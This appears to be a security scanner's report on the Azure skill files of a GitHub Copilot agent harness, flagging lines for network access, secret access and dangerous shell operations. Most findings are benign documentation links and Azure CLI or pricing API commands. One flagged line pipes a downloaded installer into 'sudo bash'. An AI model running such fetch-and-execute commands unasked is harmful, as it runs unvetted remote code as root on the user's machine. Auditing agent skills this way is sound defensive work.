[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Dangerous shell operationline 102
trap 'shred -u "$SECRET_FILE" 2>/dev/null || rm -f "$SECRET_FILE"' EXIT - Network accessline 236
FQDN=$(az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv) echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" - Network accessline 237
echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" az containerapp logs show --name spring-app --resource-group spring-rg --tail 50 - Network accessline 238
curl "https://${FQDN}/actuator/health" - Network accessline 244
$FQDN = az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "Application URL: https://${FQDN}" - Network accessline 245
Write-Host "Application URL: https://${FQDN}" - Network accessline 246
Invoke-WebRequest "https://${FQDN}/actuator/health" - Network accessline 256
az containerapp env java-component config-server-for-spring create --environment spring-env --resource-group spring-rg --name config-server --min-replicas 1 --max-replicas 1 --configuration spring.cloud.config.server.git.uri=https: - Network accessline 257
--environment spring-env --resource-group spring-rg --name config-server \ --min-replicas 1 --max-replicas 1 \ --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 258
--min-replicas 1 --max-replicas 1 \ --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server - Network accessline 259
--configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 265
az containerapp env java-component config-server-for-spring create --environment spring-env --resource-group spring-rg --name config-server --min-replicas 1 --max-replicas 1 --configuration spring.cloud.config.server.git.uri=https: - Network accessline 266
--environment spring-env --resource-group spring-rg --name config-server ` --min-replicas 1 --max-replicas 1 ` --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 267
--min-replicas 1 --max-replicas 1 ` --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server - Network accessline 268
--configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/code-migration.md
- Network accessline 16
- Use latest programming model (v4 for JavaScript, v2 for Python) - **Always use bindings and triggers instead of SDKs** — For blob read/write, use `input.storageBlob()` / `output.storageBlob()` with `extraInputs`/`extraOutputs`. For queues - Network accessline 18
- **Always use the latest supported language runtime** — Consult [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) and select the newest GA version. Do NOT default to an older LTS version whe
harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/global-rules.md
- Network accessline 24
- Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.micr - Network accessline 25
- Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. N - Network accessline 26
- **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. Never default to older versions
harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/lambda-to-functions.md
- Access to secretsline 90
[Credential-related source omitted] - Network accessline 95
- [AWS Lambda vs Azure Functions comparison](https://aka.ms/AWSLambda) - Network accessline 96
- [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/) - Network accessline 97
- [Supported language runtimes](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 98
- [Triggers and bindings overview](https://learn.microsoft.com/en-us/azure/azure-functions/functions-triggers-bindings) - Network accessline 99
- [Functions quickstart JS (azd)](https://github.com/Azure-Samples/functions-quickstart-javascript-azd/tree/main/infra) - Network accessline 100
- [Functions quickstart .NET Event Grid (azd)](https://github.com/Azure-Samples/functions-quickstart-dotnet-azd-eventgrid-blob/tree/main/infra) - Network accessline 172
properties: { // ARM resolves system key and handles validation at deployment time endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functi - Network accessline 173
// ARM resolves system key and handles validation at deployment time endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default - Network accessline 174
endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default', '2023-12-01').systemKeys.blobs_extension}'
harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/csharp.md
- Network accessline 225
> Full reference: [Azure Functions C# isolated worker guide](https://learn.microsoft.com/en-us/azure/azure-functions/dotnet-isolated-process-guide)
harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/java.md
- Network accessline 214
> Full reference: [Azure Functions Java developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-java)
harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/javascript.md
- Network accessline 325
> Full reference: [Azure Functions JavaScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node)
harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/powershell.md
- Network accessline 221
> Full reference: [Azure Functions PowerShell developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-powershell)
harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/python.md
harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/typescript.md
- Network accessline 119
> Full reference: [Azure Functions TypeScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node?tabs=typescript)
harness/github-copilot/skills/azure-compliance/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/skills/azure-compliance/references/azqr-recommendations.md
- Network accessline 171
- [Azure Proactive Resiliency Library](https://aka.ms/aprl) - Network accessline 172
- [Azure Orphaned Resources](https://github.com/dolevshor/azure-orphan-resources) - Network accessline 173
- [Azure Advisor Documentation](https://learn.microsoft.com/azure/advisor/) - Network accessline 174
- [Defender for Cloud Recommendations](https://learn.microsoft.com/azure/defender-for-cloud/recommendations-reference)
harness/github-copilot/skills/azure-compliance/references/azqr-remediation-patterns.md
- Network accessline 375
- [Azure CLI Reference](https://learn.microsoft.com/cli/azure/) - Network accessline 376
- [Bicep Documentation](https://learn.microsoft.com/azure/azure-resource-manager/bicep/) - Network accessline 377
- [Azure Policy Built-in Definitions](https://learn.microsoft.com/azure/governance/policy/samples/built-in-policies)
harness/github-copilot/skills/azure-compliance/references/azure-quick-review.md
- Network accessline 154
- [Recommendation Categories](azqr-recommendations.md) - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - Network accessline 155
- [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - [Azure Proactive Resiliency Library](https://aka.ms/aprl) - Network accessline 156
- [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - Network accessline 157
- [Azure Proactive Resiliency Library](https://aka.ms/aprl)
harness/github-copilot/skills/azure-compliance/references/sdk/azure-keyvault-keys-ts.md
- Network accessline 12
import { KeyClient } from "@azure/keyvault-keys"; import { DefaultAzureCredential } from "@azure/identity"; const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential()); - Network accessline 14
const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());
harness/github-copilot/skills/azure-compute/references/retail-prices-api.md
- Network accessline 3
The [Azure Retail Prices API](https://learn.microsoft.com/en-us/rest/api/cost-management/retail-prices/azure-retail-prices) is **unauthenticated** — no Azure account or subscription needed. - Network accessline 8
https://prices.azure.com/api/retail/prices - Network accessline 13
https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 23
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption' - Network accessline 27
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Consumption'" - Network accessline 31
$filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 32
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 39
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption' - Network accessline 43
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20contains(armSkuName,%20'Standard_D')%20and%20priceType%20eq%20'Consumption'" - Network accessline 47
$filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 48
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 55
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation' - Network accessline 59
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Reservation'" - Network accessline 63
$filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 64
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 72
GET https://prices.azure.com/api/retail/prices?currencyCode='EUR'&$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' - Network accessline 76
curl -s "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'" - Network accessline 80
$filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter" - Network accessline 81
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter" - Network accessline 119
{ "NextPageLink": "https://prices.azure.com:443/api/retail/prices?$filter=...&$skip=1000" }
harness/github-copilot/skills/azure-compute/references/vm-families.md
- Network accessline 5
> **Source**: [Azure VM sizes overview](https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/overview)
harness/github-copilot/skills/azure-compute/references/vm-quotas.md
- Network accessline 91
- Invoke the **azure-quotas** skill for complete quota CLI workflows across all Azure providers - [VM Family Guide](vm-families.md) — Family-to-workload mapping - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtu - Network accessline 93
- [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/quotas)
harness/github-copilot/skills/azure-compute/references/vmss-guide.md
- Network accessline 5
> **Note:** This reference provides quick guidance but may become stale. Always verify VMSS features, limitations, and orchestration mode capabilities by fetching the latest documentation from: > - https://learn.microsoft.com/en-us/azure/vi - Network accessline 6
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/overview - Network accessline 7
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview - Network accessline 8
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/orchestration-modes-api-comparison - Network accessline 62
- Use a **cool-down period** (default 5 min) to avoid flapping - Scale out aggressively, scale in conservatively (asymmetric rules) - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/a - Network accessline 64
- Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices) - Network accessline 92
- [VMSS orchestration modes](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-orchestration-modes) - Network accessline 93
- [Autoscale best practices](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices) - Network accessline 94
- [VMSS networking](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking) - Network accessline 95
- [VMSS Flexible portal quickstart](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/flexible-virtual-machine-scale-sets-portal)
harness/github-copilot/skills/azure-compute/workflows/capacity-reservation/references/association-disassociation.md
- Network accessline 61
Existing VMSS can be associated using `az vmss update` similarly to VMs. Regional VMSS must be deallocated first. Zonal VMSS can be associated without deallocating, but this is currently a [Preview feature](https://learn.microsoft.com/en-us - Network accessline 104
- [Associate a VM to a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-associate-vm) - Network accessline 105
- [Remove/disassociate a VM from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-vm) - Network accessline 106
- [Remove/disassociate a VMSS from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-virtual-machine-scale-set)
harness/github-copilot/skills/azure-compute/workflows/capacity-reservation/references/capacity-reservation-overview.md
harness/github-copilot/skills/azure-compute/workflows/essential-machine-management/essential-machine-management.md
- Network accessline 51
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.ManagedOps/managedOps/default?api-version=2025-07-28-preview - Network accessline 81
For common EMM issues, refer to the official documentation: - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot) - Network accessline 82
- [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)
harness/github-copilot/skills/azure-compute/workflows/essential-machine-management/references/emm-enable-flow.md
- Network accessline 33
az rest --method GET --url "https://graph.microsoft.com/v1.0/me" --query id -o tsv - Network accessline 39
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{objectId}') - Network accessline 47
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01 - Network accessline 76
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{uamiPrincipalId}')
harness/github-copilot/skills/azure-compute/workflows/essential-machine-management/references/emm-overview.md
harness/github-copilot/skills/azure-compute/workflows/vm-creator/examples/bicep/README.md
harness/github-copilot/skills/azure-compute/workflows/vm-creator/examples/bicep/main.bicep
- Access to secretsline 139
[Credential-related source omitted]
harness/github-copilot/skills/azure-compute/workflows/vm-creator/examples/terraform/README.md
- Access to secretsline 9
[Credential-related source omitted] - Network accessline 14
MY_IP=$(curl -s ifconfig.me)/32 # your current public IP, locked to /32 - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted]
harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/delivery-options/github-pr.md
- Network accessline 7
1. **Repo** — accept any of: - `owner/name` (e.g., `myorg/azure-infra`) - Full URL (e.g., `https://github.com/myorg/azure-infra`) - Network accessline 8
- `owner/name` (e.g., `myorg/azure-infra`) - Full URL (e.g., `https://github.com/myorg/azure-infra`) - Local checkout path (e.g., `~/source/azure-infra`) — skips clone - Network accessline 9
- Full URL (e.g., `https://github.com/myorg/azure-infra`) - Network accessline 76
> ✅ Opened PR: https://github.com/myorg/azure-infra/pull/42
harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/delivery-options/save-local.md
- Access to secretsline 47
[Credential-related source omitted]
harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/depth-probe/beginner.md
- Access to secretsline 13
[Credential-related source omitted] - Network accessline 14
- **VNet:** create new `<vm-name>-vnet` with `10.0.0.0/16` - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` - Network accessline 15
- **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, - Network accessline 16
- **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, and always flag the chosen source in the Pl
harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/depth-probe/networking-deep.md
- Network accessline 7
| VNet | "Existing VNet, or new?" | If existing: ask name + RG; offer to list via `network_vnet_list` MCP or `az network vnet list` | | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) o - Network accessline 8
| Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided | | Public IP | " - Network accessline 9
| NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided |
harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/output-adapters/az-cli.md
harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/output-adapters/bicep.md
harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/output-adapters/terraform.md
harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/plan-card.md
- Access to secretsline 32
[Credential-related source omitted]
harness/github-copilot/skills/azure-compute/workflows/vm-recommender/references/web-fetch-policy.md
- Network accessline 17
## What to fetch (Step 2 — VMSS) - Network accessline 20
https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview - Network accessline 21
https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview - Network accessline 24
## What to fetch (Step 3 — VM family) - Network accessline 27
https://learn.microsoft.com/azure/virtual-machines/sizes/<family-category>/<series-name> - Network accessline 30
Examples: - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - Network accessline 31
- B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - GPU: `https://learn.microsoft.com/azure/vi - Network accessline 32
- D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - Network accessline 33
- GPU: `https://learn.microsoft.com/azure/virtual-machines/sizes/gpu-accelerated/nc-family` - Network accessline 35
For Spot, also: `https://learn.microsoft.com/azure/virtual-machine-scale-sets/use-spot`.
harness/github-copilot/skills/azure-compute/workflows/vm-recommender/vm-recommender.md
- Network accessline 56
https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/<family-category>/<series-name> - Network accessline 59
For Spot eligibility, also fetch `https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/use-spot`. If any fetch fails, follow [web-fetch-policy.md](references/web-fetch-policy.md). Same SKUs apply to single VMs and VMSS. - Network accessline 101
- Compare reservation / savings plan pricing (`priceType eq 'Reservation'` in the API) - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates - Network accessline 102
- Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates - Network accessline 103
- For VMSS: [autoscale best practices](https://learn.microsoft.com/azure/azure-monitor/autoscale/autoscale-best-practices), [VMSS networking](https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking
harness/github-copilot/skills/azure-container-registry-cli/SKILL.md
- Network accessline 24
# Install Azure CLI brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 25
brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash winget install Microsoft.AzureCLI - Dangerous shell operationline 26
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 26
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 146
- [Install Azure CLI on Linux](https://aka.ms/InstallAzureCLIDeb)
harness/github-copilot/skills/azure-container-registry-cli/references/build-and-tasks.md
- Network accessline 32
# Build directly from a Git repo (no local clone) az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder} - Network accessline 33
az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder} - Network accessline 59
az acr task create --registry {registry} --name build-app \ --image "app:{{.Run.ID}}" \ --context https://github.com/{org}/{repo}.git#main \ - Network accessline 60
--image "app:{{.Run.ID}}" \ --context https://github.com/{org}/{repo}.git#main \ --file Dockerfile \ - Network accessline 61
--context https://github.com/{org}/{repo}.git#main \ - Network accessline 124
az acr task create --registry {registry} --name build-test-push \ --file acb.yaml \ --context https://github.com/{org}/{repo}.git#main \ - Network accessline 125
--file acb.yaml \ --context https://github.com/{org}/{repo}.git#main \ --git-access-token {pat} - Network accessline 126
--context https://github.com/{org}/{repo}.git#main \
harness/github-copilot/skills/azure-container-registry-cli/references/images-and-artifacts.md
- Network accessline 148
az acr credential-set create --registry {registry} --name dockerhub-creds \ --login-server docker.io \ --username-id https://{vault}.vault.azure.net/secrets/dh-user \ - Network accessline 149
--login-server docker.io \ --username-id https://{vault}.vault.azure.net/secrets/dh-user \ --password-id https://{vault}.vault.azure.net/secrets/dh-pass - Network accessline 150
--username-id https://{vault}.vault.azure.net/secrets/dh-user \ - Network accessline 151
--password-id https://{vault}.vault.azure.net/secrets/dh-pass
harness/github-copilot/skills/azure-container-registry-cli/references/networking-and-geo.md
- Network accessline 93
Alternatives that avoid the bypass entirely: run tasks in a VNet-attached agent pool, or run `acr purge` locally with the [acr-cli binary](https://github.com/azure/acr-cli). Tasks using a user-assigned identity are not affected. - Network accessline 130
az acr export-pipeline create --resource-group {rg} --registry {src-registry} \ --name export-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 131
--name export-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ --storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 132
--secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 133
--storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 136
az acr import-pipeline create --resource-group {rg} --registry {dst-registry} \ --name import-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 137
--name import-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ --storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 138
--secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 139
--storage-container-uri https://{account}.blob.core.windows.net/{container}
harness/github-copilot/skills/azure-cost/cost-forecast/error-handling.md
- Network accessline 11
| 424 | Failed Dependency | Bad training data — forecast model cannot compute predictions | Falls back to actual costs if `includeActualCost=true`; otherwise suggest using **the Cost Query workflow (Part 1)** for historical data | | 429 | T - Network accessline 13
| 503 | Service Unavailable | Temporary service issue | Check [Azure Status](https://status.azure.com) for service health. | - Network accessline 44
| 404 | ❌ No | Fix the scope URL — verify subscription, resource group, or billing account IDs | | 424 | ❌ No | Training data issue — retrying will not help. Fall back to actual costs or use **the Cost Query workflow (Part 1)** | | 503 | ❌ - Network accessline 46
| 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |
harness/github-copilot/skills/azure-cost/cost-forecast/workflow.md
- Network accessline 117
| 424 | Bad training data | Insufficient history; falls back to actual costs if available. | | 429 | Rate limited | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longes - Network accessline 119
| 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |
harness/github-copilot/skills/azure-cost/cost-optimization/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/skills/azure-cost/cost-optimization/azure-aks-anomalies.md
- Network accessline 12
az rest --method post \ --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \ - Network accessline 13
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \
harness/github-copilot/skills/azure-cost/cost-optimization/report-template.md
- Network accessline 56
https://portal.azure.com/#@<TENANT_ID>/resource/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/<RESOURCE_PROVIDER>/<RESOURCE_TYPE>/<RESOURCE_NAME>/overview
harness/github-copilot/skills/azure-cost/cost-optimization/services/storage/azure-storage.md
- Network accessline 185
Always validate from [official pricing](https://azure.microsoft.com/pricing/details/storage/blobs/).
harness/github-copilot/skills/azure-cost/cost-optimization/workflow.md
- Network accessline 168
**Key services to validate:** - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/ - Network accessline 169
- Container Apps: https://azure.microsoft.com/pricing/details/container-apps/ - Network accessline 170
- Virtual Machines: https://azure.microsoft.com/pricing/details/virtual-machines/ - Network accessline 171
- App Service: https://azure.microsoft.com/pricing/details/app-service/ - Network accessline 172
- Log Analytics: https://azure.microsoft.com/pricing/details/monitor/
harness/github-copilot/skills/azure-cost/cost-query/error-handling.md
- Network accessline 12
| 404 | `NotFound` | Scope does not exist, subscription not found, or resource group does not exist. | Verify the scope URL. Confirm the subscription ID and resource group name are correct. | | 429 | `TooManyRequests` | Rate limit exceeded. - Network accessline 14
| 503 | `ServiceUnavailable` | Cost Management service is temporarily unavailable. | Check [Azure Status](https://status.azure.com) for service health. | - Network accessline 37
| 403 | ❌ No | Fix permissions. Request appropriate RBAC role assignment on the scope. | | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service hea - Network accessline 38
| 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. | | 5xx (other) | ❌ No | Do not retry. Investigate the error and check service healt - Network accessline 39
| 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |
harness/github-copilot/skills/azure-cost/cost-query/request-body-schema.md
- Network accessline 3
Schema for the [Cost Management Query API](https://learn.microsoft.com/en-us/rest/api/cost-management/query/usage).
harness/github-copilot/skills/azure-cost/cost-query/workflow.md
- Network accessline 137
| 404 | Scope not found | Verify scope URL and resource IDs. | | 429 | Too many requests | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longest** value. **Max 3 retrie - Network accessline 139
| 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |
harness/github-copilot/skills/azure-deploy/SKILL.md
- Network accessline 45
> **APIM / AI Gateway**: Use this skill to deploy applications whose APIM/AI gateway infrastructure was already created during **azure-prepare**. For creating or changing APIM resources, see [APIM deployment guide](https://learn.microsoft.c - Network accessline 68
| 8 | **Verify Success** — Confirm deployment completed and endpoints are accessible | [Verification](references/recipes/azd/verify.md) | | 9 | **Live Role Verification** — Query Azure to confirm provisioned RBAC roles are correct and suffi - Network accessline 70
